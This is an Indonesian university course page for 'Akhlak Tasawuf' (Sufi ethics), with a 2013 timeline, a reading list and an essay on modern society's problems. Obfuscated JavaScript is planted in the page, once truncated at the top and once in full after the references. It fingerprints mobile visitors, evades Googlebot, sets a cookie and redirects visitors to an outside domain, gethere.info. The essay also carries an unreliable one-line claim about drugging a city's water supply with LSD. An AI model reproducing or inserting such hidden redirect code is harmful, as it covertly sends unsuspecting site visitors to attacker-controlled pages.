u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

TIME LINE MATA KULIAH : Akhlak Tasawuf B (AH)

TIME LINE MATA KULIAH : Akhlak Tasawuf B (AH)
DOSEN : Dra.Hj. Maryatin, M.Pd
HARI/JAM/R :Selasa/ 3,4 /K.2 C7
TANGGAL URAIAN
03 September 2013 Pendahuluan dan kontrak belajar
10 September 2013 Urgensi Akhlak Tasawuf di kehidupan modern
17 September 2013 Pengertian, ruang lingkup & tujuan mempelajari Akhkak Tasawuf
24 September 2013 Sejarah muncul dan berkembangnya Akhak Tasawuf (abad 1-7H)
01 Oktober 2013 Perkembangan Tasawuf Akhlaqi
08 Oktober 2013 Perkembangan Tasawuf Sunni
15 Oktober 2013 Libur Idul Adha
22 Oktober 2013 Perkembangan Tasawuf Falsafi
28 Okt s/d 12 Nov UTS
19 November 2013 Taubat
26 November 2013 Sabar
03 Desember 2013 Zuhud
10 Desember 2013 Sedekah
17 Desember 2013 Khauf wa Raja’
24 Desember 2013 Hubb & Fana
31 Desember 2013 Kekuatan Doa
6 s/d 18 Januari 2014 UAS

REFERENSI
1. Annemarie Schimel, 1986, Demensi Mistik dalam Islam (terjemahan), jakarta: Pustaka Firdaus
2. Abdul Qodir Jailani, 1985, Menyingkap Kegaiban (terjemahan), Bandung: Mizan
3. Abdul Qodir Jailani, Percikan Cahaya Ilahi (terjemahan), Bandung: Pustakan Hidayah.
4. Abu Qosim al Qusyairi, 2000, Risalatur Qusyairiyah Induk Ilmu Tasawuf (terjemahan) Surabaya: Risalah Gusti.
5. Abu Al Wafa’ al Taftazani, 1985, Sufi dari Zaman ke Zaman (terjemahan), Bandung: Penerbit Pustaka.
6. Abu Bakar Aceh, 1990, Pengantar Sejarah Sufi dan Tasawuf, Solo: Ramadhani.
7. CherieCarter-Scoot, 2003, Hidup sebuah Permainan, Inilah Aturannya (terjemahan), Bandung: Mizan.
8. Deepak Chopra, 1997, Tujuh Hukum Spiritual Kesuksesan (terjemahan), PT Kentindo Soho.
9. Al Dhazali, 1992, Ihya Ulumudin Jilid IV (terjemahan), Jakarta: CV Faisan.
10. Hujwiri, 1995, Kasyful Mahjub (terjemahan), Bandung: Mizan.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Problematika Masyarakat Modern dan Perlunya Akhlak Tasawuf .

Pengertian Masyarakat ModernMasyarakat modern terdiri dari dua kata, yaitu masyarakat dan modern. Dalam Kamus Besar Bahasa Indonesia, masyarakat diartikan sebagai pergaulan hidup manusia (himpunanorang yang hidup bersama di suatu tempat dengan ikatan-ikatan tertentu).
1. Sedangkan modern diartikan yang terbaru, secara terbaru, mutakhir.
2. Jadi secara harfiah masyarakat modern berartisuatu himpunan orang yang hidup bersama di suatu tempat dengan ikatan-ikatan aturan tertentuyang bersifat mutakhir.Deliar Noer menyebutkan ciri-ciri masyarakat modern sebagai berikut:
a.Bersifat rasional,yakni lebih mengutamakan pendapat akal pikiran,daripada pendapatemosi. Sebelum melakukan pekerjaan selalu dipertimbangkan lebih dahulu untungdan ruginya secara logika.
b.Berpikir untuk masa depan yang lebih jauh, tidak hanya memikirkan masalah yang bersifat sesaat tetapi selalu dilihat dampak sosialnya secara lebih jauh.
c.Menghargai waktu, yaitu selalu melihat bahwa waktu adalah sesuatu yang sangat berharga dan perlu dimanfaatkan dengan sebaik-baiknya
d.Bersikap terbuka, yakni mau menerima saran, masukan, baik berupa kritik, gagasandan perbaikan dari manapun datangnya.
e.Berpikir obyektif, yakni melihat segala sesuatu dari fungsi dan kegunaan bagi masyarakat.

3.Alfin Toffler membagi masyarakat menjadi tiga bagian, yaitu masyarakat pertanian(agricultural society),masyarakat industri(industrial society),dan masyarakat informasi(informatical society).
Ciri-ciri ketiga masyarakat tersebut sebagai berikut.Masyarakat pertanian mendasarkan ekonominya pada tanah atau sumber lain. Teknologi yang mereka gunakan adalah teknologi kecil seperti pompa penyemprot hama, racun tikus dan sebagainya. Informasi yang mereka gunakan adalah media tradisional, dari mulut ke mulut, bersifat lokal dan terpusat pada salah seorang yang dianggap tokoh. Dari segi lingkungan social mereka menganut sistem keluarga batih, yaitu keluarga yang didasarkan pada ikatan darah danketurunan serta menetap pada suatu lokasi tertentu dan tidak berpindah-pindah. Dari segi kejiwaan mereka selalu komitmen dengan lingkungan dan suasana masa lalu, banyak menggunakan kekuatan yang bersifat irrasional seperti dukun, ahli nujum dan orang yangdianggap sakti lainnya.
Masyarakat industri memiliki modal dasar yaitu peralatan produksi, mesin-mesin pengolah bahan mentah menjadi barang atau makanan yang siap konsumsi, teknologi yang digunakan ialah teknologi tinggi, yang hemat tenaga kerja, berskala besar dan bekerja secara efektif dan efisien. Teknologi yang mereka gunakan yaitu media cetak atau tulisan yang dapatdisimpan oleh siapa saja., bersifat nasional dan terus berkembang. Keluarga yang mereka anut yaitu keluarga inti, yakni orang tua, suami isteri, dan anak. Secara kejiwaan manusia pada era industri yang diperlukan adalah manusia yang cerdas, berilmu pengetahuan, menguasai teknologi, dan memandang bahwa segala sesuatu hanya terjadi jika mengikuti hukum alam.Masyarakat informasi, dari segi teknologi, ekonomi dan informasi lebih bersifat pasti.Dari segi ekonomi mulai bergeser dari mengukur kekayaan dengan pemilikan sumber daya alam sebagai yang terdapat pada masyarakat pertanian, atau pada alat produksi sebagai yang terdapat pada masyarakat industri, bergeser pada mengukur kekayaan pada pemilikan informasi. Dari segi teknologi, komputer mulai mengambil alih berbagai profesi pada zaman industri.Masyarakat informasi berperan pada perubahan sistem informasi. Penggunaan teknologi elektronika telah mengubah lingkungan informasi dari lingkungan yang bercorak lokal dan nasional, kepada lingkungan yang bersifat internasional, mendunia dan global. Komputer bukan saja sanggup menyimpan informasi dari seluruh dunia, tetapi juga sanggup mengolahnya dan menghasilkan secara lisan, tulisan bahkan secara visual.Pembahasan tersebut telah menginformasikan cukup komprehensif tentang gelombang kehidupan umat manusia yang terjadi dalam masyarakat. Namun demikian pembagian masyarakat ini dalam kenyataannya tidak dapat dilakukan secara terkotak-kotak. Ada suatu masyarakat yang tinggal di daerah perkotaan yang beriklim masyarakat industri dan informasi,tetapi sistem agrikultural yang ciri-cirinya telah disebutkan di atas. Dalam keadaan demikian maka terjadilah kesenjangan antara lingkungan sosial yang dihadapi dengan sikap jiwa yang masih dialaminya.Terjadinya perubahan masyarakat dari yang bercorak agrikultural dan industri menjadi masyarakat yang bercorak informasi secara teoritis disebabkan oleh banyak faktor. Astrid S.Susanto, antara lain menjelaskan hal ini dengan mengatakan, bahwa sebab-sebab dari timbulnya perubahan masyarakat adalah banyak, yaitu antara lain karena majunya ilmu pengetahuan,mental manusia, teknik dan penggunaanya dalam masyarakat, komunikasi dan transportasi,urbanisasi, perubahan-perubahan pertambahan harapan dan tuntutan manusia(the rising demand).
Semuanya ini mempunyai pengaruh bersama dan mempunyai akibat bersama dalammasyarakat, yaitu perubahan di dalam masyarakat secara mengagetkan, dan inilah yang kemudian menimbulkan perubahan masyarakat.Itulah model perkembangan masyarakat yang akan dan sedang kita jalani saat ini.

B. Problematika Masyarakat Modern³
Revolusi Teknologi´ dengan meningkatkan kontrol kita pada materi, ruang dan waktu,menimbulkan evolusi ekonomi, gaya hidup, pola pikir dan sistem rujukan. Dalam kaitan ini terdapat tiga keadaan dalam mensikapi revolusi industri, yaitu kelompok yang optimis, pesimis dan pertengahan antara keduanya. Bagi kelompok yang optimis kehadiran revolusi teknologi justru menguntungkan, seperti yang diperlihatkan Ziauddin Sardar. Menurutnya revolusi informasi yang kini sedang dijajakan sebagai suatu rahmat besar bagi umat manusia. Penjajanyayang agresif di televisi, surat-surat kabar dan majalah-majalah yang mewah begitu menarik. Pada lingkungan-lingkungan yang terpelajar, yaitu di dalam jurnal-jurnal penelitian dan buku-bukun akademis, disebutkan bahwa revolusi informasi akan menyebabkan timbulnya desentralisasi, dan karena itu akan menyebabkan timbulnya masyarakat yang lebih demokratis telah meningkatkan keragaman budaya melalui penyediaan informasi yang menyeluruh yang sesuai dengan keragaman selera dan kemampuan ekonomi, memberi orang kesempatan untuk mengembangkan kecakapan-kecakapan baru, meningkatkan produksi dan dengan demikian menciptakan kemakmuran untuk semua lapisan masyarakat.
Bagi kelompok yang pesimis memandang kemajuan di bidang teknologi akan memberikan dampak yang negatif, karena hanya memberikan kesempatan dan peluang kepadaorang-orang yang dapat bersaing saja, yaitu mereka yang memiliki kekuasaan, ekonomi,kesempatan, kecerdasan dan lain-lain. Sementara bagi mereka yang terbelakang tetap semakinter belakang. Penggunaan teknologi di bidang pertanian misalnya akan menyebabkan keuntungan bagi petani yang memiliki modal saja, sedangkan bagi yang tidak memiliki modal semakinmenghadapi masalah yang serius. Lapangan kerja yang selama ini banyak menyerap tenaga kerja, sudah mulai ditangani oleh teknologi hemat tenaga kerja, akibatnya terjadilah pengangguran.Teknologi juga berbahaya jika berada di tangan orang yang secara mental dan keyakinan keagamaan belum siap. Penggunaan teknologi kontrasepsi misalnya dapat menyebabkan orangdengan mudah dapat melakukan hubungan seksual tanpa harus takut hamil atau berdosa. Di bidang rekayasa genetika, melalui apa yang disebut bayi tabung, dapat mendorong manusia memproduksi manusia untuk dijualbelikan sebagaimana buah-buahan, atau binatang. Di bidang persenjataan menyebabkan orang berbisnis dalam persenjataan, dan untuk melancarkan bisnis inimaka diciptakan situasi yang terus menerus konflik dan mencekam, yang pada akhirnya memerlukan pembelian senjata untuk daya dan kelangsungan hidupnya.Keadaan ini terus berlanjut hingga dunia tak pernah aman.Banyak negara yang sudah memiliki senjata-senjata biokimia yang dahsyat seperti virus yang dapat mengubah kota ramai menjadi kumpulan bangkai, atau spesies baru yang dapat menghancurkan ribuan hektar padi dalam sehari. Untuk menaklukkan suatu negara atau kota, cukuplah orang memasukkan 500 gram LSD 25 dalam pusat air minum, dan seluruh penduduk menjadi gila.
Di bidang teknologi komunikasi seperti komputer, faximile, internet, dan sebagainya juga akan membuka peluang bagi orang untuk lebih meningkatkan aktivitas jahatnya dalam bentuk yang lebih canggih. Jaringan-jaringan peredaran obat-obat terlarang, tukar-menukar informasi, penyaluran data film yang berbau pornografi dan sebagainya akan semakin intensif pelaksanaannya.Setelah mengajukan sejumlah kekhawatiran dari dampak teknologi ini, maka kaum yang pesimistis ini mengajukan pertanyaan: Bolehkah ilmu pengetahuan dan teknologi yang netraletika itu terus dikembangkan? Bukankah sebaiknya dibatasi penggunaannya? Dan kapankah datangnya saat dimana manusia itu siap menerima kehadiran iptek?Sementara pertanyaan tersebut belum terjawab, muncul pula persoalan baru. Saat ini para ilmuwan sosial telah mencapai pula teknik-teknik pengendalian manusia melalui teori-teori motivasi, proses persuasi dan ketaksadaran manusia. Pengetahuan mereka telah dimanfaatkan oleh produsen untuk menyeret jutaan manusia kepada pola konsumtif yang irasional, kepada apa yang disebut oleh Reinhold Neibuhr sebagai perbudakan proses produksi.Sementara itu bagi kelompok yang mengambil sikap antara optimis dan pesimismengatakan, bahwa iptek itu positif atau membahayakan, inflasi dan pertumbuhan, tergantung pada cara orang mengelolanya, tanpa harus ditangguhkan, dan demi kepentingan kerja sama dan perdamaian. Sosiolog Perancis Jacques Ellul mengatakan bahwa kemajuan dalam bidang iptek akan memberi pengaruh sebagai berikut:
1. Semua kemajuan teknologi menuntut pengorbanan, yakni dari sisi teknologi memberinilai tambah, tapi pada sisi lain dapat mengurangi.
2. Nilai-nilai manusia yang tradisional, misalnya harus dikorbankan demi efisiensi.
3. Semua kemajuan teknologi lebih banyak menimbulkan masalah ketimbang pemecahannya.
4. Efek negatif teknologi tidak dapat dipisahkan dari efek positifnya. Teknologi tidak pernah netral. Efek negatif dan positif terjadi serentak dan tidak terpisahkan.
5. Semua penemuan teknologi mempunyai efek yang tidak terduga.Kehadiran ilmu pengetahuan dan teknologi telah melahirkan sejumlah problematika masyarakat modern sebagai berikut:

a. Disintegrasi Ilmu Pengetahuan
Kehidupan modern antara lain ditandai dengan spesialisasi di bidang ilmu pengetahuan.masing-masing ilmu pengetahuan memiliki paradigmanya sendiri-sendiri dalam memecahkanmasalah yang dihadapi. Kalau semuanya berjalan sendiri-sendiri tanpa ada tali pengikat dan petunjuk jalan yang menguasai semuanya, yang terjadi adalah kian jauhnya manusia dari pengetahuan (kearifan) akan kesatuan alam. Penggalian disiplin di atas bisa jadi malahmendatangkan benturan-benturan antara yang satu dan yang lain, karena mereka telah menjeratdirinya pada rasionalitas teknologis secara absolut, netral nilai keagamaan tapi sarat nafsu penaklukan.
b. K epribadian yang Terpecah (Split personality)
Karena kehidupan manusia modern dipolakan oleh ilmu pengetahuan yang coraknyakering nilai-nilai spiritual dan terkotak-kotak itu, maka manusianya menjadi pribadi yangterpecah kehidupan manusia modern diatur menurut ilmu yang eksak dan kering.akibatnya kinitelah menggelinding proses hilangnya kekayaan rohaniah, karena dibiarkannya ilmu-ilmu positif (ilmu yang hanya mengandalkan fakta-fakta empirik, obyektif, rasional, dan terbatas) dan ilmu-ilmu sosial. Kita sama sekali tidak meremehkan atau tidak menghargai jasa yang diberikan ilmu pengetahuan eksak dan sosial, tetapi, yang kita inginankan agar ilmu-ilmu tersebutdiintergerasikan antara satu dan yang lainnya melalui tali pengikat, yaitu ajaran agama dariTuhan, sehingga seluruh ilmu itu diarahkan pada tujuan memuliakan manusia, mengabdikandirinya pada Tuhan, berakhlak mulia dan seterusny.
c. Penyalahgunaan Iptek
Sebagai akibat dari terlepasnya ilmu pengetahuan dan teknologi dari iakatan spiritual,maka iptek telah disalahgunakan dengan segala implikasi negatifnya sebagaimana disebutkan diatas. Kemampuan membuat senjata telah diarahkan untuk tujuan penjajahan suatu bangsa atas bangsa lain, subversi dan lain sebagainya. Kemampuan di bidang rekayasa genetika diarahkanuntuk tujuan jual-beli manusia
d. Pendangkalan Iman
Akibat lain dari pola pikiran keilmuan tersebut di atas, khususnya ilmu yang hanya bersifat empirik menyebabkan manusia dangkal imannya. Ia tidak tersentuh informasi yangdiberikan wahyu, bahkan informasi yang diberikan wahyu itu menjadi bahan tertawaan dandianggap tidak ilmiah dan kampungan.
e. Pola Hubungan Materialistik
Semangat persaudaraan dan rasa saling gotong royong yang didasarkan iman sudah tidak nampak lagi, karena imannya sudah dangkal. Pola hubungan satu dan lainnya ditentukan olehseberapa jauh dapat memberikan keuntungan yang bersifat material. Demikian juga penghormatan yang diberikan atas orang lain banyak diukur oleh sejauh mana orang tersebutdapat memberikan manfaat secara material. Akibatnya ia menempatkan pertimbangan materialdiatas pertimbangan akal sehat, hati nurani, kemanusiaan dan imannya.
f. Menghalalkan Segala Cara
Sebagai akibat lebih jauh dari dangkalnya iman dan pola hidup materialistik, makamanusia dengan mudah dapat menggunakan prinsip menghalalkan segala cara dalam mencapaitujuan. Jika hal ini terjadi maka terjadilah kerusakan akhlak dalam segala bidang, baik ekonomi, politik, sosial, dan lain sebagainya.
g. Stres dan Frustasi
Kehidupan modern yang demikian kompetitif menyebabkan manusia harus mengerahkanseluruh pikiran, tenaga dan kemampuan. Mereka terus bekerja dan bekerja tanpa mengenal batasdan kepuasan. Hasil yang dicapai tak pernah disyukurinya dan selalu merasa kurang. Apalagi jika usaha atau proyeknya gagal, maka dengan mudah ia kehilangan pegangan, karena tidak lagimemiliki pegangan yang kokoh yang berasal dari Tuhan. Mereka hanya berpegang atau bertuhan pada hal-hal yang bersifat material yang sama sekali tidak dapat membimbingnya. Akibatnya iastres dan frustasi yang jika hal ini terus berlanjut akan menjadikan ia gila atau hilang ingatan.
h. Kehilangan Harga Diri dan Masa Depannya
Terdapat sejumlah orang yanmg terjerumus atau salah memilih jalan kehidupan. Masamudanya dihabiskan untuk memperturutkan hawa nafsu dan segala daya dan cara telahditempuhnya. Namun ada suatu saat dimana ia sudah tua renta, fisiknya sudah tidak berdaya,tenaganya sudah tidak mendukung dan berbagai kegiatan sudah tidak dapat ia lakukan. Manusiayang demikian ini merasa kehilangan harga diri dan masa depannya, kemana ia harus berjalan, iatidak tahu. Mereka perlu bantuan dari kekuatan yang berada diluar dirinya, yaitu bantuan Tuhan.

C. Perlunya Pengembangan Akhlak Tasawuf Banyak cara yang diajukan para ahli untuk mengatasi masalah tersebut, dan salah satucara yang hampir disepakati para ahli ialah dengan mengembangkan kehidupan yang beraklak dan bertasawuf. Menurut Husein Nahr, paham sufisme mulai mendapat tempat di kalangan orangmasyarakat termasuk kalangan barat, karena mereka mulai merasakan kekeringan batin. Merekamulai mencari-cari dimana sufisme yang dapat menjawab sejumlah masalah tersebut di atas.Menurut Komaruddin Hidayat terdapat tiga tujuan perlunya sufisme dimasyarakatkan pada mereka.
Pertama,
turut serta terlibat dalam berbagai peran dalam menyelamatkankemanusiaan dari kondisi kebingungan akibat hilangnya nilai-nilai spiritual.
Kedua,
memperkenalkan literatur atau pemahaman tentang aspek esoteris (kebatinan islam), baik terhadap masyarakat islam yang mulai melupakan maupun non Islam, khususnya terhadapmasyarakat barat. Dalam hal ini Nashr menegaskan ³tarikat´ atau ³jalan rohani´ yang biasadikenal sebagai tasawuf atau sufisme adalah merupakan dimensi kedalaman dan kerahasiaan(esoteric)alam islam, sebagaimana syariat berasal dari Al-Quran dan Al-Sunnah. Ia menjadi jiwa risalah islam, seperti hati yang ada pada tubuh, tersembunyi jauh dari pdandangan luar.Betatpapun ia tetap merupakan sumber kehidupan yang paling dalam, yang mengatur seluruhorganisme keagamaan dalam islam.
D. Intisari ajaran tasawuf adalah bertujuan memperoleh hubungan langsung dan disadaridengan Tuhan, sehingga seseorang merasa dengan kesadarannya itu berada di hadirat-Nya.Upaya ini antara lain dilakukan dengan kontemplasi, melepaskan diri dari jeratan dunia yangsenantiasa berubah dan bersifat sementara. Sifat dan pandangan sifistik ini sangat diperlukanoleh masyarakat modern yang mengalami jiwa yang terpecah, asalkan pandangan terhadaptujuan hidup tasawuf tidak dilakukan secara ekslusif dan individual, melaikan berdaya implikatif dalam meresponi berbagai masalah yang dihadapi.Dengan adanya bantuan tasawuf ini maka ilmu pengetahuan satu dan lainnya tidak akan bertabrakan, karena ia berada dalam satu jalan dan satu tujuan. Hubungan ilmu dan ketuhananyang diajarkan agama jelas sekali. Ilmu mempercepat anda sampai ke tujuan, agama menentukanarah yang dituju. Ilmu menyesuaikan manusia dengan lingkuingannya, dan agama menyesuaikandengan jati dirinya. Ilmu menjawab pertanyaan yang dimulai dengan ³bagaimana´ dan agamamenjawab pertanyaan yang diawali dengan ³mengapa´. Ilmu tidak jarang mengeluarkan pikiran pemiliknya, sedangkan agama menenangkan jiwa pemeluknya yang tulus.

Selanjutnya sikap frustasi bahkan hilang ingatan alias gila dapat diatasi dengan sikap ridla yang diajarkan dalam tasawuf, yaitu selalu pasrah dan menerima terhadap segala keputusanTuhan. Ia menyadari bahwa Yang Maha Kuasa atas segala sesuatu adalah Tuhan. Sikap yangdemikian itu diperlukan untuk mengatasi frustasi dan sebagainya.Sikap materialistik dan hedonistik yang merajalela dalam kehidupan modern ini dapatdiatasi dengan menerapkan konsep zuhud, yang pada intinya sikap yang tidak mau diperbudak atau terperangkap oleh pengaruh duniawi. Jika sikap ini telah mantap, maka ia tidak akan beranimenggunakan segala cara untuk mencapai tujuan. Sebab tujuan yang ingin dicapai dalamtasawuf adalah menuju Tuhan, maka caranyapun harus ditempuh dengan cara yang disukaiTuhan.Demikian juga ajaran uzlah, yaitu usaha mengasingkan diri dari terperangkap tipu dayakeduniaan, dapat pula digunakan untuk membekali manusia modern agar tidak menjadi sekruftdari mesin kehidupan, yang tidak tahu lagi arahnya mau dibawa kemana. Konsep ini berusaha membebaskan manusia dari perangkap-perangkap kehidupan yang memperbudaknya. Ini tidak berarti seseorang harus menjadi pertapa. Ia tetap terlihat dalam berbagai kehidupan itu, tetapi iatetap mengendalikan aktivitasnya sesuai dengan nilai-nilai ketuhanan, dan bukan sebaliknya larutdalam pengaruh keduniaan.Di balik kemajuan ilmu pengetahuan dan teknologi, dunia modern sesungguhnyamenyimpan suatu potensi yang dapat menghancurkan martabat manusia.
Untuk menyelamatkannya perlu tasawuf yang wujud konkretnya dalam akhlak yang mulia. Menurut jalaluddin Rahmat, sekarang ini di seluruh dunia timbul kesadaran betapa etika dalam pengembangan sains. Di beberapa negara maju telah didirikanlembaga-lembaga ³pengawal moral´ untuk sains. Yang paling terkenal ialah The Institut of Society, Etics and Life Science di Hasting New York. Kini telah disadari, seperti kata Sir MacFarlance Burnet, biolog Australia, bahwa: ³sulit bagi seorang ilmuwan eksperimental mengetahui apa yang tidak boleh diketahui. Ternyata, sains tidak bisa dibiarkan lepas dari etika,kalau kita tidak ingin senjata makan tuan.´
Terakhir problema masyarakat modern di atas adalah manusia yang kehilangan masadepannya, merasa kesunyian dan kehampaan jiwa di tengah-tengah derunya laju kehidupan.Untuk ini ajaran akhlak tasawuf yang berkenaan dengan ibadah, zikir, taubat dan berdo’a menjadi penting, sehingga ia tetap mempunyai harapan, yaitu bahagia hidup di akhirat nanti.Bagi orang-orang yang sudah lanjut usia yang dahulu banyak menyimpang hidupnya, akan terusdibayangi perasaan dosa, jika tidak segera bertaubat. Tasawuf akhlak memberi kesempatan bagi penyelamatan manusia yang demikian. Itu penting dilakukan agar ia tidak terperangkap ke dalam praktek kehidupan spiritual yang menyesatkan, sebagaimana yang akhir-akhir ini banyak berkembang di masyarakat.Itulah sumbangan positif yang dapat digali dan dikembangkan dari ajaran tasawuf akhlak. Untuk itu, dalam mengatasi problematika masyarakat modern saat ini, akhlak tasawuf harus dijadikan alternatif terpenting. Ajaran akhlak tasawuf perlu disuntikkan ke dalam seluruh konsep kehidupan. Ilmu pengetahuan, ekonomi, sosial, politik, kebudayaan dan lain sebagainya perlu dilandasi ajaran akhlak tasawuf. Inilah harapan kita.
